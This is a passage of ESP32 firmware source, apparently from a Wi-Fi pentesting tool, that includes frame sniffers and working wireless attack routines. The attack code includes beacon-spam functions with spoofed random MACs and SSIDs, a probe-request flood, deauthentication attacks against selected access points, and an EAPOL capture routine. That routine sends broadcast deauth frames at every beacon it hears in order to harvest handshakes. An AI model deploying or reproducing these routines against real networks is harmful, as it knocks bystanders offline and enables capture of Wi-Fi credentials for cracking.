  1335. int len = snifferPacket->rx_ctrl.sig_len;
  1336. String display_string = "";
  1337. if (type == WIFI_PKT_MGMT)
  1338. {
  1339. len -= 4;
  1340. int fctl = ntohs(frameControl->fctl);
  1341. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1342. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1343. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1344. #ifdef HAS_SCREEN
  1345. int buf = display_obj.display_buffer->size();
  1346. #else
  1347. int buf = 0;
  1348. #endif
  1349. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1350. {
  1351. delay(random(0, 10));
  1352. Serial.print("RSSI: ");
  1353. Serial.print(snifferPacket->rx_ctrl.rssi);
  1354. Serial.print(" Ch: ");
  1355. Serial.print(snifferPacket->rx_ctrl.channel);
  1356. Serial.print(" BSSID: ");
  1357. char addr[] = "00:00:00:00:00:00";
  1358. getMAC(addr, snifferPacket->payload, 10);
  1359. Serial.print(addr);
  1360. display_string.concat(addr);
  1361. Serial.print(" ESSID: ");
  1362. display_string.concat(" -> ");
  1363. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1364. {
  1365. Serial.print((char)snifferPacket->payload[i + 38]);
  1366. display_string.concat((char)snifferPacket->payload[i + 38]);
  1367. }
  1368. int temp_len = display_string.length();
  1369. #ifdef HAS_SCREEN
  1370. for (int i = 0; i < 40 - temp_len; i++)
  1371. {
  1372. display_string.concat(" ");
  1373. }
  1374. Serial.print(" ");
  1375. if (display_obj.display_buffer->size() == 0)
  1376. {
  1377. display_obj.loading = true;
  1378. display_obj.display_buffer->add(display_string);
  1379. display_obj.loading = false;
  1380. }
  1381. #endif
  1382. Serial.println();
  1383. if (save_packet)
  1384. sd_obj.addPacket(snifferPacket->payload, len);
  1385. }
  1386. }
  1387. }
  1388. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1389. {
  1390. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1391. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1392. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1393. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1394. int len = snifferPacket->rx_ctrl.sig_len;
  1395. String display_string = "";
  1396. if (type == WIFI_PKT_MGMT)
  1397. {
  1398. len -= 4;
  1399. int fctl = ntohs(frameControl->fctl);
  1400. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1401. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1402. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1403. #ifdef HAS_SCREEN
  1404. int buf = display_obj.display_buffer->size();
  1405. #else
  1406. int buf = 0;
  1407. #endif
  1408. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1409. {
  1410. delay(random(0, 10));
  1411. Serial.print("RSSI: ");
  1412. Serial.print(snifferPacket->rx_ctrl.rssi);
  1413. Serial.print(" Ch: ");
  1414. Serial.print(snifferPacket->rx_ctrl.channel);
  1415. Serial.print(" BSSID: ");
  1416. char addr[] = "00:00:00:00:00:00";
  1417. getMAC(addr, snifferPacket->payload, 10);
  1418. Serial.print(addr);
  1419. display_string.concat(text_table4[0]);
  1420. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1421. display_string.concat(" ");
  1422. display_string.concat(addr);
  1423. #ifdef HAS_SCREEN
  1424. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1425. {
  1426. display_string.concat(" ");
  1427. }
  1428. Serial.print(" ");
  1429. if (display_obj.display_buffer->size() == 0)
  1430. {
  1431. display_obj.loading = true;
  1432. display_obj.display_buffer->add(display_string);
  1433. display_obj.loading = false;
  1434. }
  1435. #endif
  1436. Serial.println();
  1437. if (save_packet)
  1438. sd_obj.addPacket(snifferPacket->payload, len);
  1439. }
  1440. }
  1441. }
  1442. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1443. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1444. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1445. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1446. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1447. int len = snifferPacket->rx_ctrl.sig_len;
  1448. String display_string = "";
  1449. if (type == WIFI_PKT_MGMT)
  1450. {
  1451. len -= 4;
  1452. int fctl = ntohs(frameControl->fctl);
  1453. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1454. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1455. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1456. #ifdef HAS_SCREEN
  1457. int buf = display_obj.display_buffer->size();
  1458. #else
  1459. int buf = 0;
  1460. #endif
  1461. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1462. {
  1463. delay(random(0, 10));
  1464. Serial.print("RSSI: ");
  1465. Serial.print(snifferPacket->rx_ctrl.rssi);
  1466. Serial.print(" Ch: ");
  1467. Serial.print(snifferPacket->rx_ctrl.channel);
  1468. Serial.print(" Client: ");
  1469. char addr[] = "00:00:00:00:00:00";
  1470. getMAC(addr, snifferPacket->payload, 10);
  1471. Serial.print(addr);
  1472. display_string.concat(addr);
  1473. Serial.print(" Requesting: ");
  1474. display_string.concat(" -> ");
  1475. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1476. {
  1477. Serial.print((char)snifferPacket->payload[26 + i]);
  1478. display_string.concat((char)snifferPacket->payload[26 + i]);
  1479. }
  1480. // Print spaces because of the rotating lines of the hardware scroll.
  1481. // The same characters print from previous lines so I just overwrite them
  1482. // with spaces.
  1483. #ifdef HAS_SCREEN
  1484. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1485. {
  1486. display_string.concat(" ");
  1487. }
  1488. if (display_obj.display_buffer->size() == 0)
  1489. {
  1490. //while (display_obj.printing)
  1491. // delay(1);
  1492. display_obj.loading = true;
  1493. display_obj.display_buffer->add(display_string);
  1494. display_obj.loading = false;
  1495. }
  1496. #endif
  1497. Serial.println();
  1498. if (save_packet)
  1499. sd_obj.addPacket(snifferPacket->payload, len);
  1500. }
  1501. }
  1502. }
  1503. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1504. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1505. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1506. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1507. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1508. int len = snifferPacket->rx_ctrl.sig_len;
  1509. String display_string = "";
  1510. String essid = "";
  1511. bool found = false;
  1512. if (type == WIFI_PKT_MGMT)
  1513. {
  1514. len -= 4;
  1515. int fctl = ntohs(frameControl->fctl);
  1516. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1517. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1518. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1519. #ifdef HAS_SCREEN
  1520. int buf = display_obj.display_buffer->size();
  1521. #else
  1522. int buf = 0;
  1523. #endif
  1524. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1525. {
  1526. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1527. {
  1528. essid.concat((char)snifferPacket->payload[26 + i]);
  1529. }
  1530. for (int i = 0; i < ssids->size(); i++) {
  1531. if (ssids->get(i).essid == essid) {
  1532. Serial.println("Found a sheep");
  1533. found = true;
  1534. break;
  1535. }
  1536. }
  1537. if (!found)
  1538. return;
  1539. delay(random(0, 10));
  1540. Serial.print("RSSI: ");
  1541. Serial.print(snifferPacket->rx_ctrl.rssi);
  1542. Serial.print(" Ch: ");
  1543. Serial.print(snifferPacket->rx_ctrl.channel);
  1544. Serial.print(" Client: ");
  1545. char addr[] = "00:00:00:00:00:00";
  1546. getMAC(addr, snifferPacket->payload, 10);
  1547. Serial.print(addr);
  1548. display_string.concat(addr);
  1549. Serial.print(" Requesting: ");
  1550. display_string.concat(" -> ");
  1551. // ESSID
  1552. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1553. {
  1554. Serial.print((char)snifferPacket->payload[26 + i]);
  1555. display_string.concat((char)snifferPacket->payload[26 + i]);
  1556. }
  1557. // Print spaces because of the rotating lines of the hardware scroll.
  1558. // The same characters print from previous lines so I just overwrite them
  1559. // with spaces.
  1560. #ifdef HAS_SCREEN
  1561. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1562. {
  1563. display_string.concat(" ");
  1564. }
  1565. if (display_obj.display_buffer->size() == 0)
  1566. {
  1567. display_obj.loading = true;
  1568. display_obj.display_buffer->add(display_string);
  1569. display_obj.loading = false;
  1570. }
  1571. #endif
  1572. Serial.println();
  1573. if (save_packet)
  1574. sd_obj.addPacket(snifferPacket->payload, len);
  1575. }
  1576. }
  1577. }
  1578. /*
  1579. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1580. set_channel = random(1,12);
  1581. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1582. delay(1);
  1583. // Randomize SRC MAC
  1584. packet[10] = packet[16] = custom_ssid.bssid[0];
  1585. packet[11] = packet[17] = custom_ssid.bssid[1];
  1586. packet[12] = packet[18] = custom_ssid.bssid[2];
  1587. packet[13] = packet[19] = custom_ssid.bssid[3];
  1588. packet[14] = packet[20] = custom_ssid.bssid[4];
  1589. packet[15] = packet[21] = custom_ssid.bssid[5];
  1590. char ESSID[custom_ssid.essid.length() + 1] = {};
  1591. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1592. }*/
  1593. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1594. set_channel = random(1,12);
  1595. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1596. delay(1);
  1597. if (custom_ssid.beacon->size() == 0)
  1598. return;
  1599. // Randomize SRC MAC
  1600. // Randomize SRC MAC
  1601. packet[10] = packet[16] = random(256);
  1602. packet[11] = packet[17] = random(256);
  1603. packet[12] = packet[18] = random(256);
  1604. packet[13] = packet[19] = random(256);
  1605. packet[14] = packet[20] = random(256);
  1606. packet[15] = packet[21] = random(256);
  1607. char ESSID[custom_ssid.essid.length() + 1] = {};
  1608. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1609. int realLen = strlen(ESSID);
  1610. int ssidLen = random(realLen, 33);
  1611. int numSpace = ssidLen - realLen;
  1612. //int rand_len = sizeof(rand_reg);
  1613. int fullLen = ssidLen;
  1614. packet[37] = fullLen;
  1615. // Insert my tag
  1616. for(int i = 0; i < realLen; i++)
  1617. packet[38 + i] = ESSID[i];
  1618. for(int i = 0; i < numSpace; i++)
  1619. packet[38 + realLen + i] = 0x20;
  1620. /////////////////////////////
  1621. packet[50 + fullLen] = set_channel;
  1622. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1623. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1624. // Add everything that goes after the SSID
  1625. //for(int i = 0; i < 12; i++)
  1626. // packet[38 + fullLen + i] = postSSID[i];
  1627. packet[34] = custom_ssid.beacon->get(0);
  1628. packet[35] = custom_ssid.beacon->get(1);
  1629. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1630. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1631. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1632. packets_sent = packets_sent + 3;
  1633. }
  1634. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1635. set_channel = random(1,12);
  1636. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1637. delay(1);
  1638. // Randomize SRC MAC
  1639. packet[10] = packet[16] = custom_ssid.bssid[0];
  1640. packet[11] = packet[17] = custom_ssid.bssid[1];
  1641. packet[12] = packet[18] = custom_ssid.bssid[2];
  1642. packet[13] = packet[19] = custom_ssid.bssid[3];
  1643. packet[14] = packet[20] = custom_ssid.bssid[4];
  1644. packet[15] = packet[21] = custom_ssid.bssid[5];
  1645. char ESSID[custom_ssid.essid.length() + 1] = {};
  1646. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1647. int ssidLen = strlen(ESSID);
  1648. //int rand_len = sizeof(rand_reg);
  1649. int fullLen = ssidLen;
  1650. packet[37] = fullLen;
  1651. // Insert my tag
  1652. for(int i = 0; i < ssidLen; i++)
  1653. packet[38 + i] = ESSID[i];
  1654. /////////////////////////////
  1655. packet[50 + fullLen] = set_channel;
  1656. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1657. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1658. // Add everything that goes after the SSID
  1659. for(int i = 0; i < 12; i++)
  1660. packet[38 + fullLen + i] = postSSID[i];
  1661. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1662. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1663. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1664. packets_sent = packets_sent + 3;
  1665. }
  1666. // Function to send beacons with random ESSID length
  1667. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1668. set_channel = random(1,12);
  1669. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1670. delay(1);
  1671. // Randomize SRC MAC
  1672. packet[10] = packet[16] = random(256);
  1673. packet[11] = packet[17] = random(256);
  1674. packet[12] = packet[18] = random(256);
  1675. packet[13] = packet[19] = random(256);
  1676. packet[14] = packet[20] = random(256);
  1677. packet[15] = packet[21] = random(256);
  1678. int ssidLen = strlen(ESSID);
  1679. //int rand_len = sizeof(rand_reg);
  1680. int fullLen = ssidLen;
  1681. packet[37] = fullLen;
  1682. // Insert my tag
  1683. for(int i = 0; i < ssidLen; i++)
  1684. packet[38 + i] = ESSID[i];
  1685. /////////////////////////////
  1686. packet[50 + fullLen] = set_channel;
  1687. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1688. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1689. // Add everything that goes after the SSID
  1690. for(int i = 0; i < 12; i++)
  1691. packet[38 + fullLen + i] = postSSID[i];
  1692. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1693. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1694. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1695. packets_sent = packets_sent + 3;
  1696. }
  1697. // Function for sending crafted beacon frames
  1698. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1699. set_channel = random(1,12);
  1700. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1701. delay(1);
  1702. // Randomize SRC MAC
  1703. packet[10] = packet[16] = random(256);
  1704. packet[11] = packet[17] = random(256);
  1705. packet[12] = packet[18] = random(256);
  1706. packet[13] = packet[19] = random(256);
  1707. packet[14] = packet[20] = random(256);
  1708. packet[15] = packet[21] = random(256);
  1709. packet[37] = 6;
  1710. // Randomize SSID (Fixed size 6. Lazy right?)
  1711. packet[38] = alfa[random(65)];
  1712. packet[39] = alfa[random(65)];
  1713. packet[40] = alfa[random(65)];
  1714. packet[41] = alfa[random(65)];
  1715. packet[42] = alfa[random(65)];
  1716. packet[43] = alfa[random(65)];
  1717. packet[56] = set_channel;
  1718. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1719. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1720. // Add everything that goes after the SSID
  1721. for(int i = 0; i < 12; i++)
  1722. packet[38 + 6 + i] = postSSID[i];
  1723. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1724. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1725. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1726. packets_sent = packets_sent + 3;
  1727. }
  1728. // Function to send probe flood to all "active" access points
  1729. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1730. // Itterate through all access points in list
  1731. for (int i = 0; i < access_points->size(); i++) {
  1732. // Check if active
  1733. if (access_points->get(i).selected) {
  1734. this->set_channel = access_points->get(i).channel;
  1735. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1736. delay(1);
  1737. // Build packet
  1738. // Randomize SRC MAC
  1739. prob_req_packet[10] = random(256);
  1740. prob_req_packet[11] = random(256);
  1741. prob_req_packet[12] = random(256);
  1742. prob_req_packet[13] = random(256);
  1743. prob_req_packet[14] = random(256);
  1744. prob_req_packet[15] = random(256);
  1745. // Set SSID length
  1746. int ssidLen = access_points->get(i).essid.length();
  1747. //int rand_len = sizeof(rand_reg);
  1748. int fullLen = ssidLen;
  1749. prob_req_packet[25] = fullLen;
  1750. // Insert ESSID
  1751. char buf[access_points->get(i).essid.length() + 1] = {};
  1752. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1753. for(int i = 0; i < ssidLen; i++)
  1754. prob_req_packet[26 + i] = buf[i];
  1755. /*
  1756. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1757. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1758. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1759. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1760. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1761. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1762. 0x00, 0x00
  1763. */
  1764. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1765. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1766. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1767. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1768. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1769. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1770. 0x00, 0x00, 0x00, 0x00};
  1771. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1772. for (int i = 0; i < 26 + fullLen; i++)
  1773. good_probe_req_packet[i] = prob_req_packet[i];
  1774. for(int i = 0; i < 40; i++)
  1775. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1776. // Send packet
  1777. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1778. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1779. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1780. packets_sent = packets_sent + 3;
  1781. }
  1782. }
  1783. }
  1784. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1785. // Itterate through all access points in list
  1786. // Check if active
  1787. WiFiScan::set_channel = channel;
  1788. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1789. delay(1);
  1790. // Build packet
  1791. deauth_frame_default[10] = bssid[0];
  1792. deauth_frame_default[11] = bssid[1];
  1793. deauth_frame_default[12] = bssid[2];
  1794. deauth_frame_default[13] = bssid[3];
  1795. deauth_frame_default[14] = bssid[4];
  1796. deauth_frame_default[15] = bssid[5];
  1797. deauth_frame_default[16] = bssid[0];
  1798. deauth_frame_default[17] = bssid[1];
  1799. deauth_frame_default[18] = bssid[2];
  1800. deauth_frame_default[19] = bssid[3];
  1801. deauth_frame_default[20] = bssid[4];
  1802. deauth_frame_default[21] = bssid[5];
  1803. // Send packet
  1804. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1805. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1806. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1807. packets_sent = packets_sent + 3;
  1808. }
  1809. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1810. // Itterate through all access points in list
  1811. for (int i = 0; i < access_points->size(); i++) {
  1812. // Check if active
  1813. if (access_points->get(i).selected) {
  1814. this->set_channel = access_points->get(i).channel;
  1815. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1816. delay(1);
  1817. // Build packet
  1818. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1819. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1820. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1821. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1822. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1823. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1824. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1825. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1826. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1827. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1828. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1829. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1830. // Send packet
  1831. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1832. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1833. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1834. packets_sent = packets_sent + 3;
  1835. }
  1836. }
  1837. }
  1838. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1839. {
  1840. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1841. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1842. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1843. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1844. int len = snifferPacket->rx_ctrl.sig_len;
  1845. if (type == WIFI_PKT_MGMT)
  1846. {
  1847. len -= 4;
  1848. int fctl = ntohs(frameControl->fctl);
  1849. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1850. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1851. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1852. if (snifferPacket->payload[0] == 0x80)
  1853. {
  1854. num_beacon++;
  1855. }
  1856. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1857. {
  1858. num_deauth++;
  1859. }
  1860. else if (snifferPacket->payload[0] == 0x40)
  1861. {
  1862. num_probe++;
  1863. }
  1864. if (save_packet)
  1865. sd_obj.addPacket(snifferPacket->payload, len);
  1866. }
  1867. }
  1868. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1869. {
  1870. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1871. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1872. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1873. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1874. int len = snifferPacket->rx_ctrl.sig_len;
  1875. if (type == WIFI_PKT_MGMT)
  1876. {
  1877. len -= 4;
  1878. int fctl = ntohs(frameControl->fctl);
  1879. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1880. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1881. }
  1882. // Found beacon frame. Decide whether to deauth
  1883. if (snifferPacket->payload[0] == 0x80) {
  1884. // Build packet
  1885. uint8_t new_packet[26] = {
  1886. 0xc0, 0x00, 0x3a, 0x01,
  1887. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1888. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1889. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1890. 0xf0, 0xff, 0x02, 0x00
  1891. };
  1892. //esp_wifi_set_mode(WIFI_AP_STA);
  1893. //delay(1);
  1894. new_packet[10] = snifferPacket->payload[10];
  1895. new_packet[11] = snifferPacket->payload[11];
  1896. new_packet[12] = snifferPacket->payload[12];
  1897. new_packet[13] = snifferPacket->payload[13];
  1898. new_packet[14] = snifferPacket->payload[14];
  1899. new_packet[15] = snifferPacket->payload[15];
  1900. new_packet[16] = snifferPacket->payload[10];
  1901. new_packet[17] = snifferPacket->payload[11];
  1902. new_packet[18] = snifferPacket->payload[12];
  1903. new_packet[19] = snifferPacket->payload[13];
  1904. new_packet[20] = snifferPacket->payload[14];
  1905. new_packet[21] = snifferPacket->payload[15];
  1906. // Send packet
  1907. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1908. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1909. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1910. //delay(1);
  1911. //esp_wifi_set_mode(WIFI_MODE_NULL);
  1912. }
  1913. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1914. num_eapol++;
  1915. Serial.println("Received EAPOL:");
  1916. for (int i = 0; i < len; i++) {
  1917. char hexCar[4];
  1918. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1919. Serial.print(hexCar);
  1920. //Serial.print(snifferPacket->payload[i], HEX);
  1921. if ((i + 1) % 16 == 0)
  1922. Serial.print("\n");
  1923. else
  1924. Serial.print(" ");
  1925. }
  1926. Serial.print("\n");
  1927. }
  1928. if (save_packet)
  1929. sd_obj.addPacket(snifferPacket->payload, len);
  1930. }
  1931. #ifdef HAS_SCREEN
  1932. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  1933. {
  1934. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  1935. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  1936. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  1937. {
  1938. currentTime = millis();
  1939. do_break = false;
  1940. y_pos_x = 0;
  1941. y_pos_y = 0;
  1942. y_pos_z = 0;
  1943. boolean pressed = false;
  1944. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  1945. // Do the touch stuff
  1946. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  1947. if (pressed) {
  1948. Serial.print("Got touch | X: ");
  1949. Serial.print(t_x);
  1950. Serial.print(" Y: ");
  1951. Serial.println(t_y);
  1952. }
  1953. // Check buttons for presses
  1954. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1955. {
  1956. if (pressed && display_obj.key[b].contains(t_x, t_y))
  1957. {
  1958. display_obj.key[b].press(true);
  1959. } else {
  1960. display_obj.key[b].press(false);
  1961. }
  1962. }
  1963. // Which buttons pressed
  1964. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  1965. {
  1966. if (display_obj.key[b].justPressed())
  1967. {
  1968. Serial.println("Bro, key pressed");
  1969. //do_break = true;
  1970. }
  1971. if (display_obj.key[b].justReleased())
  1972. {
  1973. do_break = true;
  1974. // Channel - button pressed
  1975. if (b == 4) {
  1976. if (set_channel > 1) {
  1977. Serial.println("Shit channel down");
  1978. set_channel--;
  1979. delay(70);
  1980. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1981. //display_obj.tftDrawXScaleButtons(x_scale);
  1982. //display_obj.tftDrawYScaleButtons(y_scale);
  1983. display_obj.tftDrawChannelScaleButtons(set_channel);
  1984. display_obj.tftDrawExitScaleButtons();
  1985. changeChannel();
  1986. break;
  1987. }
  1988. }
  1989. // Channel + button pressed
  1990. else if (b == 5) {
  1991. if (set_channel < MAX_CHANNEL) {
  1992. Serial.println("Shit channel up");
  1993. set_channel++;
  1994. delay(70);
  1995. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  1996. //display_obj.tftDrawXScaleButtons(x_scale);
  1997. //display_obj.tftDrawYScaleButtons(y_scale);
  1998. display_obj.tftDrawChannelScaleButtons(set_channel);
  1999. display_obj.tftDrawExitScaleButtons();
  2000. changeChannel();
  2001. break;
  2002. }
  2003. }
